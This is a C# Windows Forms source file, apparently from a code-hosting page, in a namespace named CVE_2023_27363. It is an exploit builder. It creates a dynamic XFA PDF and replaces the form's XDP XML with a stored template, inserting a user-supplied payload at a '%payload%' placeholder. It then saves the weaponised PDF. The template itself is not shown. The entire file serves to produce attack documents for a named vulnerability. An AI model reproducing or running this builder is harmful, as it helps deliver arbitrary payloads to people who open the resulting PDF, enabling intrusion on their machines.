47 lines
1.5 KiB
C#
47 lines
1.5 KiB
C#
using Aspose.Pdf.Facades;
|
|
using Aspose.Pdf;
|
|
using Syncfusion.Pdf.Xfa;
|
|
using Syncfusion.Pdf;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.ComponentModel;
|
|
using System.Data;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
using Form = System.Windows.Forms.Form;
|
|
|
|
namespace CVE_2023_27363
|
|
{
|
|
public partial class Form1 : Form
|
|
{
|
|
public Form1()
|
|
{
|
|
InitializeComponent();
|
|
}
|
|
|
|
private void button1_Click(object sender, EventArgs e)
|
|
{
|
|
PdfXfaDocument document = new PdfXfaDocument();
|
|
document.PageSettings.PageSize = PdfPageSize.A4;
|
|
PdfXfaPage xfaPage = document.Pages.Add();
|
|
PdfXfaForm mainForm = new PdfXfaForm("subform", xfaPage, xfaPage.GetClientSize().Width);
|
|
document.XfaForm = mainForm;
|
|
MemoryStream stream = new MemoryStream();
|
|
document.Save(stream, PdfXfaType.Dynamic);
|
|
document.Close();
|
|
Document doc = new Document(stream);
|
|
doc.Form.XFA.XDP.InnerXml = Properties.Resources.String1.Replace("%payload%",textBox1.Text);
|
|
SaveFileDialog saveFileDialog = new SaveFileDialog();
|
|
saveFileDialog.InitialDirectory = Application.StartupPath;
|
|
saveFileDialog.OverwritePrompt = false;
|
|
saveFileDialog.Filter = "(*.pdf)|*.pdf";
|
|
if (saveFileDialog.ShowDialog() == DialogResult.OK)
|
|
doc.Save(saveFileDialog.FileName);
|
|
}
|
|
}
|
|
}
|